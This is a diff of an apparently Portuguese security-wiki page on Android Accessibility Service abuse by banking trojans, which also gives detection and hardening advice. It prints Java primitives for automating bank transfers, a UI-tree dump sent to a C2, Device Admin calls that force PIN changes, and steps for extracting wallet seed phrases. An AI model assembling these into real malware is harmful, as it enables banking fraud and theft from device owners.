Usos prováveis: coerção (inserção do PIN), abertura de wallet para capturar PINs, envio de mensagens de resgate. Mantenha um comando para garantir que a permissão de sobreposição esteja concedida se estiver ausente.
|
||||||
|
|
||||||
|
### Modelo de controle remoto – pseudo-tela de texto + screen-cast
|
||||||
|
- Baixa largura de banda: despejar periodicamente a árvore de nodes do Accessibility, serializar textos visíveis/roles/bounds e enviar para o C2 como uma pseudo-tela (comandos como `txt_screen` uma vez e `screen_live` contínuo).
|
||||||
|
- Alta fidelidade: solicitar MediaProjection e iniciar screen-casting/gravação sob demanda (comandos como `display` / `record`).
|
||||||
|
|
||||||
|
### ATS playbook (automação de apps bancários)
|
||||||
|
Dada uma tarefa JSON, abrir o app do banco, controlar a UI via Accessibility com uma mistura de consultas por texto e toques por coordenadas, e inserir o PIN de pagamento da vítima quando solicitado.
|
||||||
|
|
||||||
|
Exemplo de tarefa:
|
||||||
|
```json
|
||||||
|
{
|
||||||
|
"cmd": "transfer",
|
||||||
|
"receiver_address": "ACME s.r.o.",
|
||||||
|
"account": "123456789/0100",
|
||||||
|
"amount": "24500.00",
|
||||||
|
"name": "ACME"
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Exemplos de textos vistos em um fluxo alvo (CZ → EN):
|
||||||
|
- "Nová platba" → "Novo pagamento"
|
||||||
|
- "Zadat platbu" → "Inserir pagamento"
|
||||||
|
- "Nový příjemce" → "Novo destinatário"
|
||||||
|
- "Domácí číslo účtu" → "Número de conta doméstica"
|
||||||
|
- "Další" → "Próximo"
|
||||||
|
- "Odeslat" → "Enviar"
|
||||||
|
- "Ano, pokračovat" → "Sim, continuar"
|
||||||
|
- "Zaplatit" → "Pagar"
|
||||||
|
- "Hotovo" → "Concluído"
|
||||||
|
|
||||||
|
Operadores também podem verificar/aumentar os limites de transferência por meio de comandos como `check_limit` e `limit` que navegam na UI de limites de forma semelhante.
|
||||||
|
|
||||||
|
### Crypto wallet seed extraction
|
||||||
|
Alvos como MetaMask, Trust Wallet, Blockchain.com, Phantom. Fluxo: desbloquear (PIN roubado ou senha fornecida), navegar até Security/Recovery, reveal/show seed phrase, keylog/exfiltrate it. Implementar locale-aware selectors (EN/RU/CZ/SK) para estabilizar a navegação entre idiomas.
|
||||||
|
|
||||||
|
### Device Admin coercion
|
||||||
|
Device Admin APIs são usadas para aumentar as oportunidades de PIN-capture e frustrar a vítima:
|
||||||
|
|
||||||
|
- Bloqueio imediato:
|
||||||
|
```java
|
||||||
|
dpm.lockNow();
|
||||||
|
```
|
||||||
|
- Expirar a credencial atual para forçar a alteração (Accessibility captura novo PIN/senha):
|
||||||
|
```java
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // requires admin / often owner
|
||||||
|
```
|
||||||
|
- Forçar desbloqueio não biométrico desativando recursos biométricos do keyguard:
|
||||||
|
```java
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin,
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS);
|
||||||
|
```
|
||||||
|
Nota: Muitos controles do DevicePolicyManager exigem Device Owner/Profile Owner em versões recentes do Android; algumas builds de OEM podem ser permissivas. Sempre valide no SO/OEM alvo.
|
||||||
|
|
||||||
|
### Orquestração de relay NFC (NFSkate)
|
||||||
|
Stage-3 pode instalar e iniciar um módulo externo de NFC-relay (por exemplo, NFSkate) e até fornecer um template HTML para guiar a vítima durante o relay. Isso permite cash-out contactless card-present juntamente com ATS online.
|
||||||
|
|
||||||
|
Background: [NFSkate NFC relay](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay).
|
||||||
|
|
||||||
|
### Conjunto de comandos do operador (exemplo)
|
||||||
|
- UI/state: `txt_screen`, `screen_live`, `display`, `record`
|
||||||
|
- Social: `send_push`, `Facebook`, `WhatsApp`
|
||||||
|
- Overlays: `overlay` (inline HTML), `block` (URL), `block_off`, `access_tint`
|
||||||
|
- Wallets: `metamask`, `trust`, `blockchain`, `phantom`
|
||||||
|
- ATS: `transfer`, `check_limit`, `limit`
|
||||||
|
- Device: `lock`, `expire_password`, `disable_keyguard`, `home`, `back`, `recents`, `power`, `touch`, `swipe`, `keypad`, `tint`, `sound_mode`, `set_sound`
|
||||||
|
- Comms/Recon: `update_device`, `send_sms`, `replace_buffer`, `get_name`, `add_contact`
|
||||||
|
- NFC: `nfs`, `nfs_inject`
|
||||||
|
|
||||||
|
### Ideias de detecção e defesa (estilo RatOn)
|
||||||
|
- Procurar por WebViews com `addJavascriptInterface()` expondo métodos de instalador/permissão; páginas terminando em “/access” que acionam prompts de Accessibility.
|
||||||
|
- Alertar sobre apps que geram gestos/cliques de Accessibility em alta taxa logo após receberem acesso ao serviço; telemetria que se assemelha a dumps de nodes de Accessibility enviados ao C2.
|
||||||
|
- Monitorar mudanças de policy do Device Admin em apps não confiáveis: `lockNow`, expiração de senha, alternâncias de recursos do keyguard.
|
||||||
|
- Alertar sobre prompts de MediaProjection de apps não corporativos seguidos por uploads periódicos de frames.
|
||||||
|
- Detectar instalação/lançamento de um app NFC-relay externo acionado por outro app.
|
||||||
|
- Para serviços bancários: impor confirmações out-of-band, vinculação biométrica e limites de transação resistentes à automação no dispositivo.
|
||||||
|
|
||||||
## Referências
|
## Referências
|
||||||
|
|
||||||
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
- [The Dark Side of Romance: SarangTrap Extortion Campaign](https://zimperium.com/blog/the-dark-side-of-romance-sarangtrap-extortion-campaign)
|
||||||
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
- [Luban – Android image compression library](https://github.com/Curzibn/Luban)
|
||||||
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
- [Android Malware Promises Energy Subsidy to Steal Financial Data (McAfee Labs)](https://www.mcafee.com/blogs/other-blogs/mcafee-labs/android-malware-promises-energy-subsidy-to-steal-financial-data/)
|
||||||
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
- [Firebase Cloud Messaging — Docs](https://firebase.google.com/docs/cloud-messaging)
|
||||||
|
- [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
- [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
@ -1,24 +1,24 @@
|
|||||||
# Abuso do Serviço de Acessibilidade do Android
|
# Android Accessibility Service Abuse
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
## Visão Geral
|
## Visão geral
|
||||||
|
|
||||||
`AccessibilityService` foi criado para ajudar usuários com deficiência a interagir com dispositivos Android. Infelizmente, as mesmas **APIs de automação poderosas** (navegação global, entrada de texto, despacho de gestos, janelas sobrepostas…) podem ser armadas por malware para obter **controle remoto completo** do dispositivo _sem privilégios de root_.
|
`AccessibilityService` foi criado para ajudar usuários com deficiências a interagir com dispositivos Android. Infelizmente, as mesmas **powerful automation APIs** (global navigation, text input, gesture dispatch, overlay windows…) podem ser utilizadas por malware para obter **controle remoto completo** do aparelho _sem privilégios de root_.
|
||||||
|
|
||||||
Trojans bancários modernos do Android e Trojans de Acesso Remoto (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e muitos outros seguem a mesma receita:
|
Trojans bancários Android modernos e Remote-Access-Trojans (RATs) como **PlayPraetor, SpyNote, BrasDex, SOVA, ToxicPanda** e muitos outros seguem a mesma receita:
|
||||||
|
|
||||||
1. Enganar a vítima para habilitar um serviço de acessibilidade malicioso (a permissão *BIND_ACCESSIBILITY_SERVICE* é considerada "de alto risco" e requer uma ação explícita do usuário).
|
1. Social-engineer a vítima para habilitar um serviço de acessibilidade malicioso (a permissão *BIND_ACCESSIBILITY_SERVICE* é considerada "high-risk" e requer uma ação explícita do usuário).
|
||||||
2. Aproveitar o serviço para
|
2. Aproveitar o serviço para
|
||||||
* capturar todos os eventos de UI e texto que aparecem na tela,
|
* capturar todos os eventos de UI e textos que aparecem na tela,
|
||||||
* injetar gestos sintéticos (`dispatchGesture`) e ações globais (`performGlobalAction`) para automatizar qualquer tarefa que o operador desejar,
|
* injetar gestos sintéticos (`dispatchGesture`) e ações globais (`performGlobalAction`) para automatizar qualquer tarefa que o operador desejar,
|
||||||
* desenhar sobreposições em tela cheia sobre aplicativos legítimos usando o tipo de janela **TYPE_ACCESSIBILITY_OVERLAY** (sem prompt de `SYSTEM_ALERT_WINDOW`!),
|
* desenhar overlays em tela cheia sobre apps legítimos usando o tipo de janela **TYPE_ACCESSIBILITY_OVERLAY** (sem prompt `SYSTEM_ALERT_WINDOW`!),
|
||||||
* conceder silenciosamente permissões adicionais em tempo de execução clicando nas caixas de diálogo do sistema em nome da vítima.
|
* conceder silenciosamente permissões de runtime adicionais clicando nos diálogos do sistema em nome da vítima.
|
||||||
3. Exfiltrar dados ou realizar **Fraude no Dispositivo (ODF)** em tempo real enquanto o usuário está olhando para uma tela perfeitamente normal.
|
3. Exfiltrar dados ou executar **On-Device-Fraud (ODF)** em tempo real enquanto o usuário está olhando para uma tela aparentemente normal.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Solicitando a permissão
|
## Requesting the permission
|
||||||
```xml
|
```xml
|
||||||
<!-- AndroidManifest.xml -->
|
<!-- AndroidManifest.xml -->
|
||||||
<service
|
<service
|
||||||
@ -34,7 +34,7 @@ android:exported="false">
|
|||||||
android:resource="@xml/evil_accessibility_config"/>
|
android:resource="@xml/evil_accessibility_config"/>
|
||||||
</service>
|
</service>
|
||||||
```
|
```
|
||||||
O XML acompanhante define como o diálogo falso será exibido:
|
O XML acompanhante define como o diálogo falso ficará:
|
||||||
```xml
|
```xml
|
||||||
<?xml version="1.0" encoding="utf-8"?>
|
<?xml version="1.0" encoding="utf-8"?>
|
||||||
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
<accessibility-service xmlns:android="http://schemas.android.com/apk/res/android"
|
||||||
@ -69,15 +69,15 @@ dispatchGesture(new GestureDescription.Builder().addStroke(s).build(), null, nul
|
|||||||
}
|
}
|
||||||
```
|
```
|
||||||
Com apenas essas duas APIs, um atacante pode:
|
Com apenas essas duas APIs, um atacante pode:
|
||||||
* Desbloquear a tela, abrir o aplicativo bancário, navegar na árvore da interface do usuário e enviar um formulário de transferência.
|
* Desbloquear a tela, abrir o aplicativo bancário, navegar na sua árvore de UI e submeter um formulário de transferência.
|
||||||
* Aceitar todos os diálogos de permissão que aparecem.
|
* Aceitar todos os diálogos de permissão que surgirem.
|
||||||
* Instalar/atualizar APKs extras via a intenção da Play Store.
|
* Instalar/atualizar APKs extras via intent do Play Store.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Padrões de abuso
|
## Padrões de abuso
|
||||||
|
|
||||||
### 1. Phishing por sobreposição (Coleta de credenciais)
|
### 1. Overlay Phishing (Credential Harvesting)
|
||||||
Um `WebView` transparente ou opaco é adicionado ao gerenciador de janelas:
|
Um `WebView` transparente ou opaco é adicionado ao gerenciador de janelas:
|
||||||
```java
|
```java
|
||||||
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
WindowManager.LayoutParams lp = new WindowManager.LayoutParams(
|
||||||
@ -87,59 +87,146 @@ FLAG_NOT_FOCUSABLE | FLAG_NOT_TOUCH_MODAL, // touches still reach the real
|
|||||||
PixelFormat.TRANSLUCENT);
|
PixelFormat.TRANSLUCENT);
|
||||||
wm.addView(phishingView, lp);
|
wm.addView(phishingView, lp);
|
||||||
```
|
```
|
||||||
A vítima digita credenciais no formulário falso enquanto o aplicativo em segundo plano recebe os mesmos gestos – nenhum prompt suspeito de "desenhar sobre outros aplicativos" é exibido.
|
A vítima digita credenciais no formulário falso enquanto o app em segundo plano recebe os mesmos gestos – nenhum prompt suspeito "draw over other apps" é exibido.
|
||||||
|
|
||||||
> Exemplo detalhado: a seção *Phishing de Sobreposição de Acessibilidade* na página de Tapjacking.
|
> Exemplo detalhado: a *Accessibility Overlay Phishing* section inside the Tapjacking page.
|
||||||
|
|
||||||
### 2. Automação de Fraude no Dispositivo
|
### 2. Automação de fraude no dispositivo
|
||||||
Famílias de malware como **PlayPraetor** mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (`init`, `update`, `alert_arr`, `report_list`, …). O serviço traduz esses comandos em gestos de baixo nível, alcançando transações não autorizadas em tempo real que facilmente contornam a autenticação multifatorial vinculada a esse dispositivo.
|
Famílias de malware como **PlayPraetor** mantêm um canal WebSocket persistente onde o operador pode emitir comandos de alto nível (`init`, `update`, `alert_arr`, `report_list`, …). O serviço traduz esses comandos nos gestos de baixo nível acima, realizando transações não autorizadas em tempo real que contornam facilmente a autenticação multifator vinculada a esse mesmo dispositivo.
|
||||||
|
|
||||||
### 3. Streaming e Monitoramento de Tela
|
### 3. Transmissão e monitoramento de tela
|
||||||
Ao combinar a **MediaProjection API** com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para `rtmp://<c2>:1935/live/<device_id>`, dando ao adversário perfeita consciência situacional enquanto o mecanismo de Acessibilidade controla a interface.
|
Ao combinar a **MediaProjection API** com uma biblioteca cliente RTMP, o RAT pode transmitir o framebuffer ao vivo para `rtmp://<c2>:1935/live/<device_id>`, dando ao adversário perfeita consciência situacional enquanto o engine Accessibility controla a UI.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## PlayPraetor – fluxo de comando e controle
|
## PlayPraetor – fluxo de comando e controle
|
||||||
|
|
||||||
1. **Heartbeat HTTP(S)** – iterar sobre uma lista codificada até que um domínio responda `POST /app/searchPackageName` com o C2 ativo.
|
1. **HTTP(S) heartbeat** – iterar sobre uma lista hard-coded até que um domínio responda `POST /app/searchPackageName` com o C2 ativo.
|
||||||
2. **WebSocket (porta 8282)** – comandos JSON bidirecionais:
|
2. **WebSocket (port 8282)** – comandos JSON bidirecionais:
|
||||||
* `update` – enviar novas conf/APKs
|
* `update` – push new conf/APKs
|
||||||
* `alert_arr` – configurar modelos de sobreposição
|
* `alert_arr` – configure overlay templates
|
||||||
* `report_list` – enviar lista de nomes de pacotes alvo
|
* `report_list` – send list of targeted package names
|
||||||
* `heartbeat_web` – manter ativo
|
* `heartbeat_web` – keep-alive
|
||||||
3. **RTMP (porta 1935)** – streaming de tela/vídeo ao vivo.
|
3. **RTMP (port 1935)** – transmissão ao vivo de tela/vídeo.
|
||||||
4. **Exfiltração REST** –
|
4. **REST exfiltration** –
|
||||||
* `/app/saveDevice` (impressão digital)
|
* `/app/saveDevice` (impressão digital)
|
||||||
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
* `/app/saveContacts` | `/app/saveSms` | `/app/uploadImageBase64`
|
||||||
* `/app/saveCardPwd` (credenciais bancárias)
|
* `/app/saveCardPwd` (credenciais bancárias)
|
||||||
|
|
||||||
O **AccessibilityService** é o mecanismo local que transforma esses comandos em nuvem em interações físicas.
|
A **AccessibilityService** é o motor local que converte esses comandos da nuvem em interações físicas.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Detectando serviços de acessibilidade maliciosos
|
## Detectando serviços de acessibilidade maliciosos
|
||||||
|
|
||||||
* `adb shell settings get secure enabled_accessibility_services`
|
* `adb shell settings get secure enabled_accessibility_services`
|
||||||
* Configurações → Acessibilidade → *Serviços baixados* – procure por aplicativos que **não** são do Google Play.
|
* Settings → Accessibility → *Downloaded services* – procure por apps que **não** sejam do Google Play.
|
||||||
* Soluções MDM / EMM podem impor `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear serviços instalados manualmente.
|
* Soluções MDM / EMM podem impor `ACCESSIBILITY_ENFORCEMENT_DEFAULT_DENY` (Android 13+) para bloquear serviços instalados por sideload.
|
||||||
* Analise os serviços em execução:
|
* Analisar serviços em execução:
|
||||||
```bash
|
```bash
|
||||||
adb shell dumpsys accessibility | grep "Accessibility Service"
|
adb shell dumpsys accessibility | grep "Accessibility Service"
|
||||||
```
|
```
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Recomendações de fortalecimento para desenvolvedores de aplicativos
|
## Recomendações de endurecimento para desenvolvedores de apps
|
||||||
|
|
||||||
* Marque visualizações sensíveis com `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
* Marque views sensíveis com `android:accessibilityDataSensitive="accessibilityDataPrivateYes"` (API 34+).
|
||||||
* Combine `setFilterTouchesWhenObscured(true)` com `FLAG_SECURE` para evitar sequestro de toque/sobreposição.
|
* Combine `setFilterTouchesWhenObscured(true)` com `FLAG_SECURE` para prevenir sequestro de toques/overlays.
|
||||||
* Detecte sobreposições verificando `WindowManager.getDefaultDisplay().getFlags()` ou a API `ViewRootImpl`.
|
* Detecte overlays consultando `WindowManager.getDefaultDisplay().getFlags()` ou a API `ViewRootImpl`.
|
||||||
* Recuse operar quando `Settings.canDrawOverlays()` **ou** um serviço de Acessibilidade não confiável estiver ativo.
|
* Recuse operar quando `Settings.canDrawOverlays()` **ou** um Accessibility service não confiável estiver ativo.
|
||||||
|
|
||||||
---
|
---
|
||||||
|
|
||||||
## Referências
|
## ATS automation cheat-sheet (Accessibility-driven)
|
||||||
* [A ameaça em evolução do PlayPraetor: Como atores de língua chinesa escalam globalmente um RAT Android](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
Malware pode automatizar totalmente um app bancário usando apenas Accessibility APIs. Primitivas genéricas:
|
||||||
* [Documentação de acessibilidade do Android – Automatizando a interação da UI](https://developer.android.com/guide/topics/ui/accessibility/service)
|
```java
|
||||||
|
// Helpers inside your AccessibilityService
|
||||||
|
private List<AccessibilityNodeInfo> byText(String t){
|
||||||
|
AccessibilityNodeInfo r = getRootInActiveWindow();
|
||||||
|
return r == null ? Collections.emptyList() : r.findAccessibilityNodeInfosByText(t);
|
||||||
|
}
|
||||||
|
private boolean clickText(String t){
|
||||||
|
for (AccessibilityNodeInfo n: byText(t)){
|
||||||
|
if (n.isClickable()) return n.performAction(ACTION_CLICK);
|
||||||
|
AccessibilityNodeInfo p = n.getParent();
|
||||||
|
if (p != null) return p.performAction(ACTION_CLICK);
|
||||||
|
}
|
||||||
|
return false;
|
||||||
|
}
|
||||||
|
private void inputText(AccessibilityNodeInfo field, String text){
|
||||||
|
Bundle b = new Bundle(); b.putCharSequence(ACTION_ARGUMENT_SET_TEXT_CHARSEQUENCE, text);
|
||||||
|
field.performAction(ACTION_SET_TEXT, b);
|
||||||
|
}
|
||||||
|
private void tap(float x, float y){
|
||||||
|
Path p = new Path(); p.moveTo(x,y);
|
||||||
|
dispatchGesture(new GestureDescription.Builder()
|
||||||
|
.addStroke(new GestureDescription.StrokeDescription(p,0,40)).build(), null, null);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Fluxo de exemplo (tcheco → rótulos em inglês):
|
||||||
|
- "Nová platba" (Novo pagamento) → clicar
|
||||||
|
- "Zadat platbu" (Inserir pagamento) → clicar
|
||||||
|
- "Nový příjemce" (Novo destinatário) → clicar
|
||||||
|
- "Domácí číslo účtu" (Número de conta doméstica) → focalizar e `ACTION_SET_TEXT`
|
||||||
|
- "Další" (Próximo) → clicar → … "Zaplatit" (Pagar) → clicar → inserir PIN
|
||||||
|
|
||||||
|
Fallback: coordenadas fixas com `dispatchGesture` quando a busca por texto falha devido a widgets personalizados.
|
||||||
|
|
||||||
|
Também observado: etapas prévias para `check_limit` e `limit` navegando até a interface de limites e aumentando os limites diários antes da transferência.
|
||||||
|
|
||||||
|
## Pseudo-transmissão baseada em texto da tela
|
||||||
|
Para controle remoto de baixa latência, em vez de transmitir vídeo completo, extraia uma representação textual da árvore UI atual e envie-a repetidamente para o C2.
|
||||||
|
```java
|
||||||
|
private void dumpTree(AccessibilityNodeInfo n, String indent, StringBuilder sb){
|
||||||
|
if (n==null) return;
|
||||||
|
Rect b = new Rect(); n.getBoundsInScreen(b);
|
||||||
|
CharSequence txt = n.getText(); CharSequence cls = n.getClassName();
|
||||||
|
sb.append(indent).append("[").append(cls).append("] ")
|
||||||
|
.append(txt==null?"":txt).append(" ")
|
||||||
|
.append(b.toShortString()).append("\n");
|
||||||
|
for (int i=0;i<n.getChildCount();i++) dumpTree(n.getChild(i), indent+" ", sb);
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Isto é a base para comandos como `txt_screen` (one-shot) e `screen_live` (contínuo).
|
||||||
|
|
||||||
|
## Device Admin coercion primitives
|
||||||
|
Uma vez que um receptor Device Admin esteja ativado, essas chamadas aumentam as oportunidades de capturar credenciais e manter o controle:
|
||||||
|
```java
|
||||||
|
DevicePolicyManager dpm = (DevicePolicyManager) getSystemService(DEVICE_POLICY_SERVICE);
|
||||||
|
ComponentName admin = new ComponentName(this, AdminReceiver.class);
|
||||||
|
|
||||||
|
// 1) Immediate lock
|
||||||
|
dpm.lockNow();
|
||||||
|
|
||||||
|
// 2) Force credential change (expire current PIN/password)
|
||||||
|
dpm.setPasswordExpirationTimeout(admin, 1L); // may require owner/profile-owner on recent Android
|
||||||
|
|
||||||
|
// 3) Disable biometric unlock to force PIN/pattern entry
|
||||||
|
int flags = DevicePolicyManager.KEYGUARD_DISABLE_FINGERPRINT |
|
||||||
|
DevicePolicyManager.KEYGUARD_DISABLE_TRUST_AGENTS;
|
||||||
|
dpm.setKeyguardDisabledFeatures(admin, flags);
|
||||||
|
```
|
||||||
|
Nota: a disponibilidade exata dessas políticas varia conforme a versão do Android e o OEM; valide o papel de device policy (admin vs owner) durante os testes.
|
||||||
|
|
||||||
|
## Crypto wallet seed-phrase extraction patterns
|
||||||
|
Observed flows for MetaMask, Trust Wallet, Blockchain.com and Phantom:
|
||||||
|
- Unlock with stolen PIN (captured via overlay/Accessibility) or provided wallet password.
|
||||||
|
- Navegar: Settings → Security/Recovery → Reveal/Show recovery phrase.
|
||||||
|
- Coletar a frase via keylogging dos nós de texto, bypass de secure-screen, ou screenshot OCR quando o texto estiver obscured.
|
||||||
|
- Support multiple locales (EN/RU/CZ/SK) to stabilise selectors – prefer `viewIdResourceName` when available, fallback to multilingual text matching.
|
||||||
|
|
||||||
|
## NFC-relay orchestration
|
||||||
|
Accessibility/RAT modules can install and launch a dedicated NFC-relay app (e.g., NFSkate) as a third stage and even inject an overlay guide to shepherd the victim through card-present relay steps.
|
||||||
|
|
||||||
|
Background and TTPs: https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## References
|
||||||
|
* [PlayPraetor’s evolving threat: How Chinese-speaking actors globally scale an Android RAT](https://www.cleafy.com/cleafy-labs/playpraetors-evolving-threat-how-chinese-speaking-actors-globally-scale-an-android-rat)
|
||||||
|
* [Android accessibility documentation – Automating UI interaction](https://developer.android.com/guide/topics/ui/accessibility/service)
|
||||||
|
* [The Rise of RatOn: From NFC heists to remote control and ATS (ThreatFabric)](https://www.threatfabric.com/blogs/the-rise-of-raton-from-nfc-heists-to-remote-control-and-ats)
|
||||||
|
* [GhostTap/NFSkate – NFC relay cash-out tactic (ThreatFabric)](https://www.threatfabric.com/blogs/ghost-tap-new-cash-out-tactic-with-nfc-relay)
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user